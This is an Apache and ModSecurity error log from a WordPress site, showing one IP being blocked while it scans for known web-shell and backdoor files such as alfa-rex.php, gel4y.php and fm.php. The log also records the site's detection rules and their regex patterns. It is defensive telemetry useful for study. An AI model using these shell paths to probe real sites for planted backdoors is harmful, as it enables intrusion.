[Sat Nov 22 05:42:22.625678 2025] [:error] [pid 53566:tid 53579] [client 172.161.73.78:56785] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/log.php"] [unique_id "aSDcvsbSHDBkRbwMbd420wAAAMs"]
[Sat Nov 22 05:42:27.339035 2025] [:error] [pid 53477:tid 53500] [client 172.161.73.78:10975] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/log.php"] [unique_id "aSDcw37Lu30Ku9O40aLajgAAABM"]
[Sat Nov 22 05:42:37.205387 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:56800] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/xmrlpc.php"] [unique_id "aSDczRsTP0wy94zKUvGrmgAAAQE"]
[Sat Nov 22 05:42:38.055124 2025] [:error] [pid 53566:tid 53588] [client 172.161.73.78:45620] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/xmrlpc.php"] [unique_id "aSDczsbSHDBkRbwMbd42-wAAANQ"]
[Sat Nov 22 05:42:44.008474 2025] [:error] [pid 53478:tid 53517] [client 172.161.73.78:55462] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/xmrlpc.php"] [unique_id "aSDc1AhUYdXBbQswAdQQnQAAAEg"]
[Sat Nov 22 05:42:45.079897 2025] [:error] [pid 25856:tid 25864] [client 172.161.73.78:10963] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/xmrlpc.php"] [unique_id "aSDc1RsTP0wy94zKUvGrrgAAAQY"]
[Sat Nov 22 05:42:47.952126 2025] [:error] [pid 53479:tid 53551] [client 172.161.73.78:56818] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/alfa-rex.php"] [unique_id "aSDc126cicFF3Aas-oR1pQAAAI8"]
[Sat Nov 22 05:42:48.798744 2025] [:error] [pid 53479:tid 53550] [client 172.161.73.78:33939] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/alfa-rex.php"] [unique_id "aSDc2G6cicFF3Aas-oR1qgAAAI4"]
[Sat Nov 22 05:42:50.026738 2025] [:error] [pid 53479:tid 53555] [client 172.161.73.78:56830] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/alfa-rex.php"] [unique_id "aSDc2m6cicFF3Aas-oR1rAAAAJM"]
[Sat Nov 22 05:42:50.743351 2025] [:error] [pid 53566:tid 53592] [client 172.161.73.78:55477] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/alfa-rex.php"] [unique_id "aSDc2sbSHDBkRbwMbd43DQAAANg"]
[Sat Nov 22 05:42:53.337203 2025] [proxy_fcgi:error] [pid 53479:tid 53550] [client 172.161.73.78:46908] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:42:53.574763 2025] [:error] [pid 53479:tid 53542] [client 172.161.73.78:46908] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/tinymce/skins/wordpress/images/wp-login.php"] [unique_id "aSDc3W6cicFF3Aas-oR1tAAAAIY"]
[Sat Nov 22 05:42:55.497457 2025] [:error] [pid 53477:tid 53487] [client 172.161.73.78:33925] [client 172.161.73.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.161.73.78, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSDc337Lu30Ku9O40aLanwAAAAY"]
[Sat Nov 22 05:42:55.738009 2025] [:error] [pid 53477:tid 53505] [client 172.161.73.78:33925] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Decode/wp-login.php"] [unique_id "aSDc337Lu30Ku9O40aLaoAAAABg"]
[Sat Nov 22 05:42:58.803953 2025] [proxy_fcgi:error] [pid 53479:tid 53547] [client 172.161.73.78:33959] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:42:59.794165 2025] [:error] [pid 53479:tid 53544] [client 172.161.73.78:33959] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Cookie/wp-login.php"] [unique_id "aSDc426cicFF3Aas-oR1vgAAAIg"]
[Sat Nov 22 05:43:01.101699 2025] [:error] [pid 53566:tid 53586] [client 172.161.73.78:10973] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSDc5cbSHDBkRbwMbd43GwAAANI"]
[Sat Nov 22 05:43:06.101695 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:45625] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/media.php"] [unique_id "aSDc6hsTP0wy94zKUvGrzgAAARE"]
[Sat Nov 22 05:43:08.977811 2025] [:error] [pid 53477:tid 53503] [client 172.161.73.78:45630] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/media.php"] [unique_id "aSDc7H7Lu30Ku9O40aLargAAABY"]
[Sat Nov 22 05:43:10.464262 2025] [:error] [pid 53566:tid 53579] [client 172.161.73.78:45597] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/media.php"] [unique_id "aSDc7sbSHDBkRbwMbd43rAAAAMs"]
[Sat Nov 22 05:43:13.397704 2025] [:error] [pid 53566:tid 53580] [client 172.161.73.78:10950] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/media.php"] [unique_id "aSDc8cbSHDBkRbwMbd433AAAAMw"]
[Sat Nov 22 05:43:15.971296 2025] [:error] [pid 53566:tid 53582] [client 172.161.73.78:45593] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSDc88bSHDBkRbwMbd435wAAAM4"]
[Sat Nov 22 05:43:16.988042 2025] [:error] [pid 25856:tid 25870] [client 172.161.73.78:33978] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aSDc9BsTP0wy94zKUvGr4QAAAQw"]
[Sat Nov 22 05:43:21.607777 2025] [:error] [pid 25856:tid 25859] [client 172.161.73.78:48836] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aSDc-RsTP0wy94zKUvGr6gAAAQE"]
[Sat Nov 22 05:43:31.646388 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:43490] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSDdA8bSHDBkRbwMbd44BgAAANY"]
[Sat Nov 22 05:43:35.142458 2025] [:error] [pid 25856:tid 25879] [client 172.161.73.78:55431] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1.php"] [unique_id "aSDdBxsTP0wy94zKUvGsAQAAARU"]
[Sat Nov 22 05:43:43.148043 2025] [:error] [pid 53566:tid 53580] [client 172.161.73.78:46820] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aSDdD8bSHDBkRbwMbd44HgAAAMw"]
[Sat Nov 22 05:43:44.770675 2025] [:error] [pid 25856:tid 25858] [client 172.161.73.78:10258] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aSDdEBsTP0wy94zKUvGsDwAAAQA"]
[Sat Nov 22 05:43:50.402241 2025] [:error] [pid 25856:tid 25870] [client 172.161.73.78:10914] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aSDdFhsTP0wy94zKUvGsEwAAAQw"]
[Sat Nov 22 05:43:52.744024 2025] [:error] [pid 53479:tid 53558] [client 172.161.73.78:59985] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "aSDdGG6cicFF3Aas-oR2AQAAAJY"]
[Sat Nov 22 05:43:53.798141 2025] [:error] [pid 53478:tid 53520] [client 172.161.73.78:10910] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "aSDdGQhUYdXBbQswAdQQ9wAAAEs"]
[Sat Nov 22 05:43:57.546564 2025] [:error] [pid 25856:tid 25873] [client 172.161.73.78:59995] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "aSDdHRsTP0wy94zKUvGsKQAAAQ8"]
[Sat Nov 22 05:44:00.246904 2025] [:error] [pid 53478:tid 53530] [client 172.161.73.78:45563] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/siteindex.php"] [unique_id "aSDdIAhUYdXBbQswAdQQ_gAAAFU"]
[Sat Nov 22 05:44:06.717028 2025] [proxy_fcgi:error] [pid 53478:tid 53511] [client 172.161.73.78:11149] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:44:07.829889 2025] [proxy_fcgi:error] [pid 53478:tid 53522] [client 172.161.73.78:11149] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:44:08.255109 2025] [proxy_fcgi:error] [pid 53478:tid 53530] [client 172.161.73.78:11149] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:44:09.251162 2025] [:error] [pid 53478:tid 53512] [client 172.161.73.78:11149] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/system.php"] [unique_id "aSDdKQhUYdXBbQswAdQREgAAAEM"]
[Sat Nov 22 05:44:11.223968 2025] [:error] [pid 53566:tid 53570] [client 172.161.73.78:56006] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/alfa-rex.php"] [unique_id "aSDdK8bSHDBkRbwMbd44TQAAAMI"]
[Sat Nov 22 05:44:13.782340 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:56059] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aSDdLRsTP0wy94zKUvGsWAAAAQQ"]
[Sat Nov 22 05:44:20.631145 2025] [proxy_fcgi:error] [pid 53477:tid 53485] [client 172.161.73.78:37409] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:44:20.881924 2025] [:error] [pid 53477:tid 53484] [client 172.161.73.78:37409] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aSDdNH7Lu30Ku9O40aLa6gAAAAM"]
[Sat Nov 22 05:44:22.831393 2025] [:error] [pid 53477:tid 53498] [client 172.161.73.78:48936] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/db.php"] [unique_id "aSDdNn7Lu30Ku9O40aLa7QAAABE"]
[Sat Nov 22 05:44:53.538890 2025] [:error] [pid 25856:tid 25876] [client 172.161.73.78:40760] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/blue.php"] [unique_id "aSDdVRsTP0wy94zKUvGs3gAAARI"]
[Sat Nov 22 05:44:55.094484 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:40742] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/blue.php"] [unique_id "aSDdVxsTP0wy94zKUvGs5QAAARE"]
[Sat Nov 22 05:45:01.811450 2025] [:error] [pid 25856:tid 25864] [client 172.161.73.78:40735] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/blue.php"] [unique_id "aSDdXRsTP0wy94zKUvGs9wAAAQY"]
[Sat Nov 22 05:45:05.018239 2025] [:error] [pid 53479:tid 53553] [client 172.161.73.78:56841] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "aSDdYW6cicFF3Aas-oR2eAAAAJE"]
[Sat Nov 22 05:45:12.072474 2025] [:error] [pid 53479:tid 53540] [client 172.161.73.78:65043] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "aSDdaG6cicFF3Aas-oR2ggAAAIQ"]
[Sat Nov 22 05:45:15.379132 2025] [:error] [pid 53478:tid 53526] [client 172.161.73.78:42051] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/pki-validation/fm.php"] [unique_id "aSDdawhUYdXBbQswAdQRWgAAAFE"]
[Sat Nov 22 05:45:32.070796 2025] [:error] [pid 25856:tid 25862] [client 172.161.73.78:56083] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/media/about.php"] [unique_id "aSDdfBsTP0wy94zKUvGtGAAAAQQ"]
[Sat Nov 22 05:45:32.838382 2025] [proxy_fcgi:error] [pid 25856:tid 25880] [client 172.161.73.78:42904] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:45:34.003928 2025] [proxy_fcgi:error] [pid 25856:tid 25861] [client 172.161.73.78:42904] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:45:34.242772 2025] [:error] [pid 25856:tid 25870] [client 172.161.73.78:42904] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aSDdfhsTP0wy94zKUvGtIgAAAQw"]
[Sat Nov 22 05:45:36.380413 2025] [:error] [pid 53566:tid 53590] [client 172.161.73.78:61185] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Content/Type/alfa-rex.php"] [unique_id "aSDdgMbSHDBkRbwMbd44wQAAANY"]
[Sat Nov 22 05:45:39.237240 2025] [proxy_fcgi:error] [pid 25856:tid 25878] [client 172.161.73.78:63011] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 05:45:40.356904 2025] [:error] [pid 25856:tid 25866] [client 172.161.73.78:63011] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aSDdhBsTP0wy94zKUvGtNwAAAQg"]
[Sat Nov 22 05:45:44.039761 2025] [:error] [pid 53478:tid 53517] [client 172.161.73.78:56072] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aSDdiAhUYdXBbQswAdQRbQAAAEg"]
[Sat Nov 22 05:45:45.610036 2025] [:error] [pid 53477:tid 53490] [client 172.161.73.78:10448] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aSDdiX7Lu30Ku9O40aLbXAAAAAk"]
[Sat Nov 22 05:45:53.350508 2025] [:error] [pid 25856:tid 25870] [client 172.161.73.78:42117] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gel4y.php"] [unique_id "aSDdkRsTP0wy94zKUvGtRgAAAQw"]
[Sat Nov 22 05:46:04.343064 2025] [:error] [pid 25856:tid 25875] [client 172.161.73.78:42859] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/blue.php"] [unique_id "aSDdnBsTP0wy94zKUvGtXAAAARE"]
[Sat Nov 22 05:46:05.661949 2025] [:error] [pid 53479:tid 53559] [client 172.161.73.78:42124] [client 172.161.73.78] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-conflg.php"] [unique_id "aSDdnW6cicFF3Aas-oR2uQAAAJc"]
[Sat Nov 22 05:46:06.819099 2025] [:error] [pid 25856:tid 25869] [client 172.161.73.78:37764] [client 172.161.73.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aSDdnhsTP0wy94zKUvGtZQAAAQs"]
